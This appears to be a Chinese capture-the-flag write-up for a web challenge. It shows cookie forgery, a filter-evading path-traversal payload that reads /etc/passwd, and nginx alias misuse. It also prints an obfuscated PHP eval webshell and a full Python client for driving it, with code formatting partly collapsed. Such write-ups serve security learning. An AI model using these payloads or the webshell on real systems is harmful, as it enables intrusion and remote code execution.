web php wrong nginx config

题目描述

解题过程

信息收集

  • 环境

    • ubuntu
    • nginx/1.10.3
    • php
  • 御剑扫描
    • 发现robots.txt/admin/

robots.txt

里面放了两个文件名hint.phpHack.php

依次访问

hint.php

内容为

配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

Hack.php

无法访问,要求登录,但是登录功能点无法使用,抓包,发现cookie字段isLogin=0

在浏览器console里修改为isLogin=1,成功访问

尝试了一遍,发现只有管理中心链接可以跳转

/admin/admin.php

应该是文件包含

  • 尝试file=../../../../etc/passwd&ext=,页面除了少了please continue之外没有变化
  • 尝试file=index./&ext=php,页面没有please continue
  • 尝试file=index../&ext=php,页面有please continue
  • 尝试file=index.../&ext=php,页面有please continue

有两种情况,一种是过滤了./,另一种是过滤了../,但第一次尝试,读取不成功,返回的页面中没有please continue,所以应该是过滤了../

  • 再次尝试file=..././..././..././..././etc/passwd&ext=

/etc/nginx/sites-enabled/site.conf

  • 访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

  • 得到内容

    server
    {
    listen 8080;
    ## listen for ipv4; this line is default and implied listen [::]:8080;
    ## listen for ipv6 root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off; server_name _;
    # Make site accessible from http://localhost/
    #server_name localhost;
    # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off;
    set $http_x_forwarded_for_filt $http_x_forwarded_for;
    if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; }
    # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info;
    location / {
    # First attempt to serve request as file, then
    # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html;
    # redirect server error pages to the static page /50x.html
    # error_page 500 502 503 504 /50x.html;
    location = /50x.html {
    root /usr/share/nginx/html;
    } location ~ \.php
    $ {
    try_files $uri $uri/ /index.php?q=$uri&$args;
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param SCRIPT_NAME $fastcgi_script_name;
    fastcgi_index index.php; include fastcgi_params;
    fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    } location ~ /\. {
    log_not_found off;
    deny all;
    } location /web-img {
    alias /images/;
    autoindex on;
    } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var/www/nginx[.]conf;
    }

    发现/web-img可以进行目录浏览,这里的url解析为/web-img,所以构造的路径需要直接添加在后,不需要再添加/

/web-img

  • 访问/web-img,绝对路径为/web-img

  • 访问web-img../

  • 发现hack.php.bak文件

    解码后

    <?php
    $kh = "42f7";
    $kf = "e9ac";
    function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
    for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
    $o.= $t{$i} ^ $k{$j};
    }
    }
    return $o;
    }
    $r = $_SERVER;
    $rr = @$r["HTTP_REFERER"];
    $ra = @$r["HTTP_ACCEPT_LANGUAGE"];
    if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
    @session_start();
    $s = & $_SESSION;
    $ss = "substr";
    $sl = "strtolower";
    $i = $m[1][0] . $m[1][1];
    $h = $sl($ss(md5($i . $kh), 0, 3));
    $f = $sl($ss(md5($i . $kf), 0, 3));
    $p = "";
    for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
    if (strpos($p, $h) === 0) {
    $s[$i] = "";
    $p = $ss($p, 3);
    }
    if (array_key_exists($i, $s)) {
    $s[$i].= $p;
    $e = strpos($s[$i], $f);
    if ($e) {
    $k = $kh . $kf;
    ob_start();
    @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
    $o = ob_get_contents();
    ob_end_clean();
    $d = base64_encode(x(gzcompress($o), $k));
    print ("<$k>$d</$k>");
    @session_destroy();
    }
    }
    }
    }
    ?>

    大概是个加壳的webshell,但看不懂 = =,搜到一篇介绍,使用介绍里的exp(py2)

exp

= = = = = = = = = 介绍里的脚本(使用的时候需要把67、68行的密钥和70行的url改一下)

# encoding: utf-8

from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re def choicePart(seq, amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0, length - 1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0, 255))
return result def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result def loopXor(text, key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt < lenTxt and iKey < lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result def debugPrint(msg):
if debugging:
print msg # config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:43560/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug sess = requests.Session() # generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True) acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr) init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,)) # Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes) + 1 + randint(0, 2)):
key = randAlpha(randint(3, 6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query)) # encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload, xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload # cut payload, replace into referer
cutIndex = randint(2, len(payload) - 3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0], payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer) # send request
r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
html = r.text
debugPrint(html) # process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output, xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')

web php wrong nginx config的更多相关文章

  1. Web服务器之Nginx详解(操作部分)

    大纲 一.前言 二.Nginx 安装与配置 三.Nginx 配置文件详解 四.Nginx 命令参数 五.配置Nginx提供Web服务 六.配置Nginx的虚拟主机 七.配置Nginx的用户认证 八.配 ...

  2. Web读取指定的config文件的内容

    需求: 什么时候会用到动态改变Web.config内的值? 在Web.config定义了一个全局设置值A,因为程序运行中满足了某个条件,要将A的值改变 Web.config中定义: <appSe ...

  3. 使用windos电脑模拟搭建集群(四)web环境 linux+nginx+jdk+tomcat

    1.使用ansible的playbook自动安装两台web主机的nginx 1.配置模块 主机清单 2.创建 playbook目录并编写安装nginx的playbook mkdir -p playbo ...

  4. [C#]使用 C# 代码实现拓扑排序 dotNet Core WEB程序使用 Nginx反向代理 C#里面获得应用程序的当前路径 关于Nginx设置端口号,在Asp.net 获取不到的,解决办法 .Net程序员 初学Ubuntu ,配置Nignix 夜深了,写了个JQuery的省市区三级级联效果

    [C#]使用 C# 代码实现拓扑排序   目录 0.参考资料 1.介绍 2.原理 3.实现 4.深度优先搜索实现 回到顶部 0.参考资料 尊重他人的劳动成果,贴上参考的资料地址,本文仅作学习记录之用. ...

  5. web站点放在nginx其他目录下

    web站点放在nginx其他目录下 .查看主配置文件 [root@bogon mysql]# cat /etc/nginx/nginx.conf user root root; worker_proc ...

  6. WEB 服务应用 Nginx之安装篇

    一.Nginx 源码包安装与配置 1.环境准备 操作系统.内核版本: CentOS 6.8  2.6.32-642.el6.x86_64 Nginx 软件版本: nginx-1.10.2 2.创建Ng ...

  7. Linux系统WEB服务之Nginx基础入门

    一.Nginxi简介 Nginx是什么?它是一个开源.高性能的WEB服务器软件和代理服务器软件,由俄罗斯人Igor Sysoev 开发实现.它的功能主要分三类,第一是它作为一个WEB服务软件使用:第二 ...

  8. web中间件之nginx

    web中间件之nginx https://www.jianshu.com/p/d8bd75c0fb1b   对nginx正向代理和反向代理理解特别好的一篇文章. 一.nginx nginx缺点,负载均 ...

  9. 3 监控项、触发器、web监控、nginx监控

    1.自定义监控项 Item 参数文档 https://www.zabbix.com/documentation/3.0/manual/config/items/itemtypes/zabbix_age ...

随机推荐

  1. 关于个Base64,MD5,16进制的转换

    1,待签名数据以UTF-8的格式转字节流,对字节流进行MD5算法得到的签名字节流,再转换为16进制字符串,即生成了数字签名. byte[] targetData = md5.ComputeHash(S ...

  2. 树莓派 3/4 安装 FreeBSD

    已盼春来归 已盼春来归 今日去 愿为春来归 盼归春天来了 FreeBSD 的春天在哪里? 树莓派是什么,相信凡是关注了我们的人都不会不知道,但是介于非专业人员需要在此做简要介绍.我们的安卓手机,大部分 ...

  3. Hi3559AV100 NNIE开发(3)RuyiStudio软件 .wk文件生成过程-mobilefacenet.cfg的参数配置

    之后随笔将更多笔墨着重于NNIE开发系列,下文是关于Hi3559AV100 NNIE开发(3)RuyiStudio软件 .wk文件生成过程-mobilefacenet.cfg的参数配置,目前项目需要对 ...

  4. JSP、EL表达式、JSTL标签库干货(建议收藏)

    JSP(Java Server Pages)类似于ASP技术,它是在传统的网页HTML文件(.htm,.html)中插入Java程序段(Scriptlet)和JSP标记(tag),从而形成JSP文件, ...

  5. POJ_1227 Jack Straws 【二维平面判两线段相交】

    一 题面 POJ1127 二 分析 在平面几何中,判断两线段相交的方法一般是使用跨立实验.但是这题考虑了非严格相交,即如何两个线段刚好端点相交则也是相交的,所以还需要使用快速排斥实验. 这里参考并引用 ...

  6. 《C++反汇编与逆向分析技术揭秘》--数据类型

      浮点数类型 IEEE标准从逻辑上采用一个三元组{S, E, M}来表示一个数N,它规定基数为2,符号位S用0和1分别表示正和负,尾数M用原码表示,阶码E用移码表示.根据浮点数的规格化方法,尾数域的 ...

  7. Springboot进行Http接口交互实现邮件告警

    本项目采用idea编辑器,依赖maven环境,相关搭建请自行百度一.引入相关依赖    本文Http接口交互使用hutool工具类与阿里FastJson解析报文. <dependencies&g ...

  8. 前端 | 使用 ECharts 绘制关系图

    0 需求 做的项目需要画一个关系图,主要需求如下: 需要展示6种对象之间的关系:数据机构 数据 合约 模型 计算机构 应用 支持突出显示6种对象中的某一种的所有对象 支持Top x子图功能.top x ...

  9. Python基础(十五):Python的3种字符串格式化,做个超全对比!

    有时候,为了更方便.灵活的运用字符串.在Python中,正好有3种方式,支持格式化字符串的输出 . 3种字符串格式化工具的简单介绍 python2.5版本之前,我们使用的是老式字符串格式化输出%s. ...

  10. json 标准库

    1. 序列化的简单概念 2. json 标准库 2.1 json.dumps() 2.2 json.loads() 2.3 json.dump() 2.4 json.load() 1. 序列化的简单概 ...